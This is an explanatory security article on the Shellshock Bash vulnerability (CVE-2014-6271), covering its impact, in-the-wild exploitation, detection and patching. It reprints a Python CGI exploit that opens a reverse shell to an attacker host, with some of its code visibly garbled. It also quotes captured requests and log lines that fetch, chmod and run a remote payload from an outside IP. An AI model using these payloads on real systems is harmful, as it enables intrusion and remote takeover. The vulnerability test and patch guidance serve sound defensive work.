Exploiting and verifying shellshock: CVE-2014-6271
The Bash Bug vulnerability (CVE-2014-6271)
A new critical vulnerability, remotely exploitable, dubbed "Bash Bug", is threatening billions of machines all over the world.
The vulnerability was discovered by the security researcher Stephane Chazelas at Akamai firm. It affects Linux and Unix command-line shell, aka the GNU Bourne Again Shell, and for this reason it is potentially exposing websites, servers, PCs, OS X Macs, various home routers, and many other devices to risk of cyber attacks.
The team Bash stands for the GNU Bourne Again Shell and refers to a Unix shell, which is an interpreter that allows users to send commands on Unix and Linux systems, typically by connecting over SSH or Telnet.
The Bash can also operate as a parser for CGI scripts on a Web server. Stephane explained that the vulnerability has existed for several decades and it is related to the way Bash handles specially-formatted environment variables, namely exported shell functions.
Learn Vulnerability Management
A shell gives both administrators and attackers high privileged access to operating system features, allowing them to run almost any command.
"The potential is enormous - 'getting shell' on a box has always been a major win for an attacker because of the control it offers them over the target environment," said software architect and Microsoft MVP Troy Hunt.
An attacker could dump all data stored on a server, change its settings, or serve malicious code to infect the machine.
"There are many, many examples of exploits out there already that could easily be fired off against a large volume of machines."
The National Institute of Standards and Technology has assigned the vulnerability the designation CVE-2014-6271, rating the severity of the remotely exploitable vulnerability as a "10" on its 10-point scale.
The critical Bash Bug vulnerability, also dubbed Shellshock, affects versions GNU Bash versions ranging from 1.14 through 4.3. A threat actor could exploit it to execute shell commands remotely on a targeted machine using specifically crafted variables.
To run an arbitrary code on a system running software which embeds a Bash, it is necessary to assign a function to a variable. Trailing code in the function definition will be executed.
Figure 1 - Shellshock command diagram (Symantec)
"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution," states the description for the Bush Bug flaw on the NIST National Vulnerability Database, which rated its severity as 10 out of 10.
Every machine having Bash configured as the default system shell could be easily hacked every time an application invokes the Bash shell command (e.g. Mail server) via HTTP or a Common-Gateway Interface (CGI).
The attacker could run arbitrary code on the server just by sending a specially crafted malicious web request by setting headers in a web request, or by setting weird mime types. Searching on the Internet, it is possible to find the source code for cgi-bin reverse shell reported below:
[plain]
#Bash Bug
#CVE-2014-6271 bincgi- reverse shell
#
import ,,httpliburllibsys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.(sys.[HTTPConnectionargv1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
[/plain]
Similar attacks are possible via OpenSSH. "We have also verified that this vulnerability is exposed in ssh—but only to authenticated sessions. Web applications like cgi-scripts may be vulnerable based on a number of factors; including calling other applications through a shell, or evaluating sections of code through a shell," Stephane warned. But if an attacker does not have an SSH account, this exploit would not work.
As reported in the advisory published by the NIST, the critical instances where the Bash Bug may be exposed include:
- Apache HTTP Server using mod_cgi or mod_cgid scripts either written in bash, or spawn subshells.
- Override or Bypass ForceCommand feature in OpenSSH sshd and limited protection for some Git and Subversion deployments used to restrict shells and allow arbitrary command execution capabilities.
- Allow arbitrary commands to run on a DHCP client machine, various Daemons and SUID/privileged programs.
- Exploit servers and other Unix and Linux devices via Web requests, secure shell, Telnet sessions, or other programs that use Bash to execute scripts.
Billions of servers affected by the Bash Bug flaw
The impact of the Bash Bug vulnerability is widely extended. Bash is commonly used to execute commands on a server, especially those sent by other programs and applications. Security experts are considering the severity of this vulnerability higher than the one assigned to the Heartbleed bug, and the most concerning issue is the low level of complexity needed to run an attack which exploits it.
"The first reason is that the bug interacts with other software in unexpected ways. We know that interacting with the shell is dangerous, but we write code that does it anyway. An enormous percentage of software interacts with the shell in some fashion. Thus, we'll never be able to catalogue all the software out there that is vulnerable to the bash bug," states Robert Graham on his Blog Errata Security.
"They go on to rate it a "10 out of 10" for severity or in other words, as bad as it gets. This is compounded by the fact that it's easy to execute the attack (access complexity is low) and perhaps most significantly, there is no authentication required when exploiting Bash via CGI scripts. The summary above is a little convoluted though so let's boil it down to the mechanics of the bug," added the security expert Troy Hunt.
The Bug Bash flaw is particularly dangerous for Internet-of-Things devices like smart meters, routers, web cameras and any other device that runs software, which allows bash scripts. Typically, such software is not easy to fix and are more likely to expose the critical flaw in the Internet.
As said by Graham, "Unlike Heartbleed, which only affected a specific version of OpenSSL, this bash bug has been around for a long, long time. That means there are lots of old devices on the network vulnerable to this bug. The number of systems needing to be patched, but which won't be, is much larger than Heartbleed."
According the results of a recent survey conducted by the Internet services company Netcraft, the number and types of Web servers being used worldwide is more than 1 billion servers, and that more than half of those are Apache servers which run Linux and thus contain Bash by default.
Figure 2 - Market share of active sites (Netcraft Survey 2014)
The list of potential targets is very long and includes home routers, medical equipment, SCADA/ICS devices and many other systems. For this reason, the Bash Bug is considered by security experts more dangerous than the Heartbleed flaw which affected only versions of OpenSSL released over a two-year period. According to the experts, the Bash bug has is a 25 five year old flaw, and also recent versions of Linux machines are potentially as exploitable as outdated servers.
The real problem resides in the low complexity of a Bash Bug based attack, for threat actors it is quite easy to run them against vulnerable servers.
Threat actors are exploiting the Bash Bug vulnerability in the wild
According to security experts, the Bash Bug vulnerability may already have been exploited in the wild by threat actors to hit Web servers.
Attackers are already targeting the Bash vulnerability, less than 24 hours after the public disclosure of details about the flaw vulnerability. To date, an unknown number of devices may contain the flaw, including millions of stand-alone Web servers, Unix and Mac OS X systems, and numerous other Internet-connected devices.
Malware researchers speculated that the critical flaw may be exploited by attackers which manage botnets to exploit a large number of machines exposed on the Internet.
Figure 3 - Mikko Hypponen on the Bash Bug
Security experts and hackers are already running, for different purposes, a massive Internet scan to discover vulnerable servers in the wild and compromise them. In a blog post published on the Errata Security blog, the expert Robert Graham revealed to have conducted a similar experiment discovering more than 3,000 servers affected by the Bash Bug before his scan broke after a short period.
The configuration file formasscan used by the expert looks something like:
[plain]
target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74
[/plain]
Robert Graham sent the requests to a range of vulnerable IP addresses, requesting to the targeted machined to ping the IP address 209.126.230.74. This means that the security expert, simply by issuing a carefully crafted request over the web, requested the execution of the PING command.
Figure 4 - Robert Robert Test Results
Unfortunately, the number of vulnerable machines is greater than 3000, as revealed by Graham, who searched for affected servers only querying the port 80 used for normal Web Hypertext Transfer Protocol (HTTP) requests.
"It's things like CGI scripts that are vulnerable, deep within a website (like CPanel's /cgi-sys/defaultwebpage.cgi)," Graham wrote. "Getting just the root page is the thing least likely to be vulnerable. Spidering the site and testing well-known CGI scripts (like the CPanel one) would give a lot more results—at least 10x."
According to the results of different research conducted by experts at Ars using Google advanced search parameters, the number of web pages potentially exploitable for the presence of the Bash Bug vulnerability is over two billion.
Graham has confirmed that "this thing is clearly wormable and can easily worm past firewalls and infect lots of systems. One key question is whether Mac OS X and iPhone DHCP service is vulnerable—once the worm gets behind a firewall and runs a hostile DHCP server, that would be 'game over' for large networks."
Resuming, we have a critical flaw that affects an impressive number of devices worldwide, and in many cases these systems are not easily to patch. Let's consider for example Internet-of-Things components which run software with Bash embedded.
It's very likely that the vulnerability has already been exploited in the wild. A system administrator using the @yinettesys Twitter account published a GitHub gist post reported on a case in which threat actors exploited the Bash Bug flaw to launch a kernel exploit on a machine coordinating the attack with a C&C server hidden behind the Cloudflare content delivery network.
"I am not feeling well, but this is important. It's the first 0day bash injected ELF malware spotted in ITW attack of CVE-2014-6271. This sample was found via @Yinettesys's (credit) IDS sigs: https://gist.github.com/anonymous/929d622f3b36b00c0be1
The sample is up and alive, my analysis I posted in VT (see the comment tab): https://www.virustotal.com/en/file/73b0 ... 411634118/ Announced was 6h ago here: https://twitter.com/yinettesys/status/5 ... 6268604416
And detection ratio is still ZERO.. "
The malicious campaign uses a Web GET request from a user agent called ".Thanks-Rob"
[plain]
GET./.HTTP/1.0.
User-Agent:.Thanks-Rob.
Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*
[/plain]
The attack appears to be a brute force based on a dictionary of credentials guesses. The malicious code served in the attack is a file named nginx, which is still undetected by all the antivirus software at the time I'm writing.
The exploit targets the server's "/tmp" directory in a subdirectory called "besh."
The experts noticed that the malware contact the CnC server sending the text "PING" and received in return the response "PONG."
"Oddly, according to one Hacker News poster who ran the binary of the malware on a virtual machine, the malware also sends a request to a Pastebin page (now removed) that was associated with an alleged leak of nude photos of actress Emma Watson," reports a blog post on the Bash Bug published by Ars Technica.
This week, AusCERT and MalwareMustDie reported that the Bash Bug is being exploited in the wild.
Geoff Walton, Senior Security Consultant at TrustedSec, described in a blog post a Proof-of-Concept code for using Bash Bug to target DNS.
In the below image is the tool designed for the test, just setting the string value for 114 to: () { ignored;}; echo 'foo'
Figure 5 - POC tool
In the POC, simply replacing the portion of the string "echo 'foo'" with the command we want the client to execute, it is possible to exploit the flaw.
How to verify if a system is compromised
Administrators could easily evaluate if a Linux or Unix system is vulnerable by running a diagnostic test proposed by RedHat.
[plain]
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
[/plain]
If the output of the above command looks as follows:
[plain]
vulnerable this is a test
[/plain]
You are using a vulnerable version of Bash. The patch used to fix this issue ensures that no code is allowed after the end of a Bash function. Thus, if you run the above example with the patched version of Bash, you should get an output similar to:
[plain]
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test
[/plain]
If your system is vulnerable, to fix the issue update to the most recent version of the Bash package by running the following command:
[plain]
# yum update bash
[/plain]
Figure 6 - Bash Bug system check
To mitigate the Bash Bug, it is recommended to disable any CGI scripts that call on the shell and as soon as possible upgrade your bash software package. Principal Linux distribution vendors have released the new Bash software versions:
- Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution
- CentOS (versions 5 through 7)
- Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS
- Debian
Security advisories issued for the newly discovered flaw, which include the above patch information, are available at the following URLs.
- Debian—https://www.debian.org/security/2014/dsa-3032
- Ubuntu—http://www.ubuntu.com/usn/usn-2362-1/
- Red Hat—https://access.redhat.com/articles/1200223*
- CentOS—http://centosnow.blogspot.com/2014/09/critical-bash-updates-for-centos-5.html
- Novell/SUSE— http://support.novell.com/security/cve/CVE-2014-6271.html
Are Microsoft machines exposed to the Bash Bag?
Bash is not present natively on Windows machines. This means that they are not exposed to the vulnerability, however there are several Bash implementations on the market (e.g. Win-bash) and they have to be audited to evaluate the level of exposure.
According to Microsoft MVP expert Troy Hunt, there could be "non-Microsoft components sitting in front of their Microsoft application stack, components that the traffic needs to pass through before it hits the web servers. These are also components that may have elevated privileges behind the firewall."
In this moment, it is not clear what the impact of the Bash Bug, aka Shellshock, will be on those architectures.
Is it possible to detect if someone has exploited the flaw in an attack against a system?
As explained by an interesting Q&A post published by experts at Securelist, it is suggested to review HTTP logs and check if there is anything suspicious.
An example of a malicious pattern could be:
192.168.1.1 - - [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0" 400 349 "() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;"
Learn Vulnerability Management
Sources
- Stephane Chazelas
- Bash Bug critical risk
- Bash vulnerability aka sehellshock - Cert UK
- Bash bug may be worse than heartbleed
- Concern over vulnerability grows as exploit reported
- Everything you need to know about - Troyhunt
- Bash bug - Erratasec
- Bash shellshock scan of the internet - Erratasec
- Github
- Shellshock dhcp rce
- Nist Gov vulnerability
- Kernelmode forum
- Shellshock bash vulnerability - Csoonline
- Shellshock all you need know about bash bug - Symantec
- Auscert
- Vulnerability - Securelist
- DHS NCSD; Vulnerability Summary for CVE-2014-6271
- DHS NCSD; Vulnerability Summary for CVE-2014-7169
- Red Hat, CVE-2014-6271(link is external)
- Red Hat, Bash specially-crafted environment variables code injection attack(link is external)
- CERT Vulnerability Note VU#252743
- US Cert Ncas
- Redhat
- Honeypot snares two bots exploiting bash vulnerability
- Major bash vulnerability